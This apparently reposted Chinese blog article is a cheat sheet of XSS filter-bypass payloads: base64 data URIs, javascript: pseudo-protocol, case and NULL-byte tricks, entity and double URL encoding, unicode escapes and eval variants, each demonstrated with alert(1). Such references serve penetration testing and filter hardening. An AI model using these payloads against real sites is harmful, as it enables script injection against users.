XSS过滤的绕过


XSS过滤的绕过

脚本标签

如果script被过滤的话,可以使用伪协议的方法:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==为base64编码的<script>alert(1)</script>

事件处理器

不需要用户交互的可执行js的事件处理器:

  onreadystatechange(xml,style,iframe,object,img,input,isindex,bground)
  onpropertychange
  onbeforeactivate
  onfocusin
  onactivate
注意:在HTML5中,结束标签中也可以使用事件处理器

脚本伪协议

脚本伪协议可以用在各种位置,在需要URL的属性中执行行内脚本,如:

<object data=javascript:alert(1)>

标签名称

通过改变标签名称的大小写,可以避开最简单的过滤:

<iMg onerror=alert(1) src=a>

更进一步,可以在任何位置插入NULL字节:

<[%00]img onerror=alert(1) src=a>

<i[%00]mg onerror=alert(1) src=a>

或者,可以将标签作一改变,即可避开仅仅阻止特定标签名的过滤:

<x onclick=alert(1) src=a>Click here</x>

标签名称后的空格

可以使用:/,[%09],[%0d],[%0a],/”,/’来代替,如:

<img/onerror=alert(1) src=a>

通过HTML编码绕过过滤(也可以使用十进制&#114,十六进制&#x114)

使用HTML编码,在进一步处理属性值的时候,浏览器会对其进行HTML解码:

<img onerror=a&#x6c;ert(1) src=a>

如果存在两次URL解码

可以通过构造:

%253cimg%20onerror=alert(1)%20src=a%253e

第一次URL解码以后:

%3cimg onerror=alert(1) src=a%3e

第二次URL解码以后:

<img onerror=alert(1) src=a>

字符集绕过

UTF-7,US-ASCII,UTF-16(这种方法只有在浏览器支持所用的字符集才可以,或者你可以控制HTTPContent-Type消息头)

使用js转义

Unicode转义可以用于表示js关键词中的字符

<script>a\u006cert(1);</script>

通过eval命令来动态构建字符串

<script>eval('al'+'ert(1)');</script>

替代eval的方法

`<script>'alert(1)'.replace(/.+/,eval)</script>`
---------------------


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM